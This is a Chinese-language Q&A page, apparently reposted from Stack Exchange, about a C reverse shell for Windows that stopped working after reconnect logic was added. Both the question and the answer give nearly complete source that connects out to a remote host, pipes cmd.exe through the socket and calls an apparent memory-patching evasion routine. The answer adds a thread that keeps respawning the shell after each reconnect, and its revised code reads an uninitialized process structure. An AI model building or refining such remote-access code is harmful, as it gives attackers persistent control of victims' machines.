添加重连逻辑后反向Shell停止响应的问题排查
反向Shell添加重连逻辑后无触发重连却停止工作
我用C语言开发的反向Shell原本运行正常,但添加重连逻辑后,即便未出现连接丢失、未触发重连操作,Shell也彻底停止工作。相关代码如下:
int IsSocketConnected(SOCKET sock) { char buffer; int result = recv(sock, &buffer, 1, MSG_PEEK); if (result == 0 || (result == SOCKET_ERROR && WSAGetLastError() != WSAEWOULDBLOCK)) { return 0; } return 1; } int main() { ApplyMemPatch(); if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("WSAStartup failed.\n"); return 1; } Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (Winsock == INVALID_SOCKET) { printf("Socket creation failed.\n"); WSACleanup(); return 1; } struct addrinfo hints, * res = NULL; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; if (getaddrinfo(ip_addr, NULL, &hints, &res) != 0) { printf("getaddrinfo failed.\n"); closesocket(Winsock); WSACleanup(); return 1; } struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr; memcpy(&hax, ipv4, sizeof(struct sockaddr_in)); freeaddrinfo(res); hax.sin_port = htons(atoi(port)); if (WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) != 0) { printf("Connection failed.\n"); closesocket(Winsock); WSACleanup(); return 1; } printf("Connected to the server.\n"); memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; TCHAR cmd[255] = TEXT("cmd.exe"); if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info)) { printf("CreateProcess failed.\n"); closesocket(Winsock); WSACleanup(); return 1; } while (10) { if (!IsSocketConnected(Winsock)) { printf("Connection lost. Reconnecting...\n"); closesocket(Winsock); Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (Winsock == INVALID_SOCKET) { printf("Socket creation failed during reconnect.\n"); WSACleanup(); return 1; } if (WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) != 0) { printf("Reconnection failed.\n"); Sleep(50000); } else { printf("Reconnected to the server.\n"); } } Sleep(10000); } closesocket(Winsock); WSACleanup(); return 0; }
已尝试的排查步骤:
- 验证
IsSocketConnected()功能符合预期; - 注释
closesocket()及重连逻辑,确认问题源于新增代码; - 尝试调整
Sleep()的时长; - 检查原套接字在新增代码前后的有效性。
问题定位
核心问题有两个:
- 主线程被循环阻塞,干扰套接字IO:主线程进入
while(10)死循环后,每10秒执行一次IsSocketConnected,且每次循环睡眠10秒。IsSocketConnected中用recv(..., MSG_PEEK)检查连接时,会占用套接字的读上下文,加上主线程长时间睡眠,导致CreateProcess创建的cmd进程无法正常通过套接字进行输入输出——套接字被主线程的操作占用,IO请求无法得到处理。 - 重连逻辑缺失关键步骤:即便触发重连,新创建的套接字也没有重新绑定到cmd进程的标准输入输出,重连成功后也无法和shell交互。
另外while(10)属于不规范的死循环写法,虽然功能等价于while(1),但易造成误解。
修复方案
1. 将重连逻辑移至独立线程
把连接检查和重连逻辑放到单独线程中,让主线程专注等待cmd进程结束,避免阻塞IO通道。
2. 重连时重新创建cmd进程并绑定新套接字
连接断开重连成功后,必须重新调用CreateProcess,将新套接字绑定到cmd的标准输入输出,确保新连接能和shell交互。
3. 优化连接检查函数
用getsockopt结合recv(MSG_PEEK)实现更可靠的连接状态检测。
修复后的核心代码示例
// 重连线程函数 DWORD WINAPI ReconnectThread(LPVOID param) { SOCKET* pSock = (SOCKET*)param; STARTUPINFO si; PROCESS_INFORMATION pi; while (1) { if (!IsSocketConnected(*pSock)) { printf("Connection lost. Reconnecting...\n"); // 清理旧资源 closesocket(*pSock); if (pi.hProcess != NULL) { TerminateProcess(pi.hProcess, 0); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } // 创建新套接字 *pSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (*pSock == INVALID_SOCKET) { printf("Socket creation failed during reconnect.\n"); Sleep(5000); continue; } // 尝试重连 if (WSAConnect(*pSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) != 0) { printf("Reconnection failed.\n"); Sleep(5000); closesocket(*pSock); continue; } printf("Reconnected to the server.\n"); // 重新创建cmd进程并绑定新套接字 memset(&si, 0, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)*pSock; TCHAR cmd[255] = TEXT("cmd.exe"); if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { printf("CreateProcess failed after reconnect.\n"); closesocket(*pSock); Sleep(5000); continue; } processo_info = pi; // 更新全局进程信息 } Sleep(3000); // 缩短检查间隔,避免过长阻塞 } return 0; } // 优化后的连接检查函数 int IsSocketConnected(SOCKET sock) { int error = 0; int optlen = sizeof(error); // 先检查套接字错误状态 if (getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&error, &optlen) == SOCKET_ERROR) { return 0; } if (error != 0) { return 0; } // 再用MSG_PEEK检查是否有断开信号 char buffer; int result = recv(sock, &buffer, 1, MSG_PEEK); if (result == 0 || (result == SOCKET_ERROR && WSAGetLastError() != WSAEWOULDBLOCK)) { return 0; } return 1; } int main() { // ... 保留原有的初始化、连接代码 ... // 创建初始cmd进程 memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; TCHAR cmd[255] = TEXT("cmd.exe"); if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info)) { printf("CreateProcess failed.\n"); closesocket(Winsock); WSACleanup(); return 1; } // 创建重连线程,主线程等待cmd进程结束 HANDLE hThread = CreateThread(NULL, 0, ReconnectThread, &Winsock, 0, NULL); if (hThread == NULL) { printf("Failed to create reconnect thread.\n"); TerminateProcess(processo_info.hProcess, 0); closesocket(Winsock); WSACleanup(); return 1; } // 主线程等待cmd进程结束,不阻塞IO WaitForSingleObject(processo_info.hProcess, INFINITE); // 清理所有资源 CloseHandle(processo_info.hProcess); CloseHandle(processo_info.hThread); CloseHandle(hThread); closesocket(Winsock); WSACleanup(); return 0; }
内容的提问来源于stack exchange,提问作者jakub bupal
相关产品推荐
相关产品推荐

